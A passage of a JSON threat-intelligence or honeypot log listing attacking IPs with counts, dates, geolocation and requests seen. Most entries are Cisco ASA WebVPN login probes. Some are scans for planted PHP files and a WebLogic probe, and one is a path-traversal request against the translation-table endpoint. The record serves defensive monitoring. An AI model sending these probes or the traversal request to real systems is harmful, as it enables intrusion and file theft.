      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "173.249.252.59": {
      "attack_count": 15,
      "first_seen": "2026-04-18T05:39:19.015Z",
      "last_seen": "2026-04-24T17:08:09.999Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "173.249.253.185": {
      "attack_count": 15,
      "first_seen": "2026-04-18T07:08:33.470Z",
      "last_seen": "2026-04-29T02:56:41.982Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "185.98.42.12": {
      "attack_count": 15,
      "first_seen": "2026-04-13T15:35:17.746Z",
      "last_seen": "2026-04-15T04:37:23.488Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.105.197": {
      "attack_count": 15,
      "first_seen": "2026-04-18T06:11:27.987Z",
      "last_seen": "2026-04-30T06:02:25.493Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.113.233": {
      "attack_count": 15,
      "first_seen": "2026-04-08T22:12:20.986Z",
      "last_seen": "2026-04-30T00:35:10.692Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.76.233": {
      "attack_count": 15,
      "first_seen": "2026-04-12T02:36:30.390Z",
      "last_seen": "2026-04-29T22:22:14.510Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.78.233": {
      "attack_count": 15,
      "first_seen": "2026-04-09T02:38:08.520Z",
      "last_seen": "2026-04-28T03:08:45.013Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.89.48": {
      "attack_count": 15,
      "first_seen": "2026-04-08T23:47:17.110Z",
      "last_seen": "2026-04-21T20:57:51.919Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.90.175": {
      "attack_count": 15,
      "first_seen": "2026-04-13T08:25:43.848Z",
      "last_seen": "2026-04-23T09:43:49.249Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "172.120.48.163": {
      "attack_count": 14,
      "first_seen": "2026-04-13T04:45:40.484Z",
      "last_seen": "2026-04-13T09:26:40.788Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "5.252.188.154": {
      "attack_count": 14,
      "first_seen": "2026-04-12T01:46:06.821Z",
      "last_seen": "2026-04-13T00:48:39.341Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "155.2.191.180": {
      "attack_count": 12,
      "first_seen": "2026-04-09T02:19:36.101Z",
      "last_seen": "2026-04-29T09:54:40.899Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "23.234.104.236": {
      "attack_count": 12,
      "first_seen": "2026-04-13T11:18:04.309Z",
      "last_seen": "2026-04-24T15:08:38.614Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.113.157": {
      "attack_count": 12,
      "first_seen": "2026-04-16T04:51:00.849Z",
      "last_seen": "2026-04-18T12:58:10.637Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.113.175": {
      "attack_count": 12,
      "first_seen": "2026-04-08T09:10:01.644Z",
      "last_seen": "2026-04-24T15:37:07.237Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.75.59": {
      "attack_count": 12,
      "first_seen": "2026-04-08T16:17:34.024Z",
      "last_seen": "2026-04-25T09:52:03.635Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "185.220.101.148": {
      "attack_count": 11,
      "first_seen": "2026-04-24T09:13:02.187Z",
      "last_seen": "2026-04-24T09:13:19.370Z",
      "ports": [],
      "event_types": [
        "\"GET /admin/themes/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/views/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /asteriskWS/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /bin/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /cisco/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /classes/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /components/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /config.all.php? HTTP/1.1\" 404 -",
        "\"GET /config/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /configs/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /controllers/config.all.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "146.70.171.73": {
      "attack_count": 9,
      "first_seen": "2026-04-08T19:28:13.223Z",
      "last_seen": "2026-04-11T06:45:37.008Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.187.90": {
      "attack_count": 9,
      "first_seen": "2026-04-08T15:45:58.125Z",
      "last_seen": "2026-04-18T01:52:29.303Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "185.141.119.170": {
      "attack_count": 9,
      "first_seen": "2026-04-10T04:57:48.943Z",
      "last_seen": "2026-04-23T11:22:53.651Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Detroit",
      "asn": 207990,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.234.107.170": {
      "attack_count": 9,
      "first_seen": "2026-04-18T06:06:45.813Z",
      "last_seen": "2026-04-28T06:26:23.309Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.118.188": {
      "attack_count": 9,
      "first_seen": "2026-04-25T13:50:13.099Z",
      "last_seen": "2026-04-29T10:42:29.483Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.69.99": {
      "attack_count": 9,
      "first_seen": "2026-04-10T05:28:48.080Z",
      "last_seen": "2026-04-29T05:24:57.610Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.83.30": {
      "attack_count": 9,
      "first_seen": "2026-04-19T01:08:31.930Z",
      "last_seen": "2026-04-25T03:10:46.143Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.94.48": {
      "attack_count": 9,
      "first_seen": "2026-04-10T05:57:24.545Z",
      "last_seen": "2026-04-23T20:15:14.340Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.99.170": {
      "attack_count": 9,
      "first_seen": "2026-04-22T04:21:37.022Z",
      "last_seen": "2026-04-24T12:07:24.203Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.134.142.222": {
      "attack_count": 9,
      "first_seen": "2026-04-18T16:16:13.841Z",
      "last_seen": "2026-04-26T04:51:52.800Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "45.84.107.54": {
      "attack_count": 9,
      "first_seen": "2026-04-24T09:05:35.870Z",
      "last_seen": "2026-04-24T09:15:36.989Z",
      "ports": [],
      "event_types": [
        "\"GET /css/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordings/Dead_Sec_Team/config.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/ELLYAAS/config.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/ELMAYET/config.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/config.amportal.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB"
    },
    "79.127.217.51": {
      "attack_count": 9,
      "first_seen": "2026-04-10T10:58:42.335Z",
      "last_seen": "2026-04-29T11:47:08.127Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "172.120.239.220": {
      "attack_count": 8,
      "first_seen": "2026-04-13T17:28:15.287Z",
      "last_seen": "2026-04-13T17:28:30.980Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "172.120.81.231": {
      "attack_count": 7,
      "first_seen": "2026-04-13T07:30:44.592Z",
      "last_seen": "2026-04-13T07:30:57.175Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "213.139.193.75": {
      "attack_count": 7,
      "first_seen": "2026-04-12T02:40:14.830Z",
      "last_seen": "2026-04-12T02:40:27.084Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "143.244.47.88": {
      "attack_count": 6,
      "first_seen": "2026-04-24T14:53:43.892Z",
      "last_seen": "2026-04-28T05:29:10.583Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "146.70.168.137": {
      "attack_count": 6,
      "first_seen": "2026-04-15T10:50:44.723Z",
      "last_seen": "2026-04-21T04:20:36.031Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "155.2.191.247": {
      "attack_count": 6,
      "first_seen": "2026-04-21T11:39:35.805Z",
      "last_seen": "2026-04-21T11:52:44.495Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "173.249.252.170": {
      "attack_count": 6,
      "first_seen": "2026-04-10T15:59:36.743Z",
      "last_seen": "2026-04-25T06:56:19.065Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.109.227": {
      "attack_count": 6,
      "first_seen": "2026-04-08T19:42:55.250Z",
      "last_seen": "2026-04-21T18:59:15.104Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.78.156": {
      "attack_count": 6,
      "first_seen": "2026-04-19T02:31:44.521Z",
      "last_seen": "2026-04-21T19:19:20.206Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.83.187": {
      "attack_count": 6,
      "first_seen": "2026-04-10T18:14:49.230Z",
      "last_seen": "2026-04-24T18:09:59.399Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "165.154.206.250": {
      "attack_count": 4,
      "first_seen": "2026-04-10T01:03:09.624Z",
      "last_seen": "2026-04-10T01:03:13.982Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"t3 12.1.2\" 400 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 400"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 142002,
      "as_org": "Scloud Pte Ltd"
    },
    "45.156.129.186": {
      "attack_count": 4,
      "first_seen": "2026-04-18T23:41:11.730Z",
      "last_seen": "2026-04-26T12:09:18.790Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A."
    },
    "64.62.197.185": {
      "attack_count": 4,
      "first_seen": "2026-04-22T03:16:55.463Z",
      "last_seen": "2026-04-22T03:17:19.242Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "101.71.38.49": {
      "attack_count": 3,
      "first_seen": "2026-04-02T06:14:20.835Z",
      "last_seen": "2026-04-02T07:07:41.524Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOT+/translation-table?type=mst&textdomain=/%2BCSCOE%2B/portal_inc.lua&default-language&lang=../ HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone"
    },
    "146.70.211.154": {
      "attack_count": 3,
      "first_seen": "2026-04-19T00:55:06.397Z",
      "last_seen": "2026-04-19T00:55:11.774Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "155.2.190.30": {
      "attack_count": 3,
      "first_seen": "2026-04-24T16:51:20.625Z",
      "last_seen": "2026-04-24T16:51:29.050Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 13213,
      "as_org": "Thg Hosting Limited"
    },
    "23.234.75.231": {
      "attack_count": 3,
      "first_seen": "2026-04-14T02:29:15.009Z",
      "last_seen": "2026-04-14T02:29:23.592Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.96.59": {
      "attack_count": 3,
      "first_seen": "2026-04-23T17:59:30.539Z",
      "last_seen": "2026-04-23T17:59:38.325Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.200.134": {
      "attack_count": 3,
      "first_seen": "2026-04-30T00:32:02.755Z",
      "last_seen": "2026-04-30T00:32:14.433Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "37.19.200.160": {
      "attack_count": 3,
      "first_seen": "2026-04-18T18:16:31.322Z",
      "last_seen": "2026-04-18T18:16:39.233Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "64.62.156.205": {
      "attack_count": 3,
      "first_seen": "2026-04-29T02:57:44.095Z",
      "last_seen": "2026-04-29T02:58:16.759Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "8.211.33.5": {
      "attack_count": 3,
      "first_seen": "2026-04-27T14:11:10.011Z",
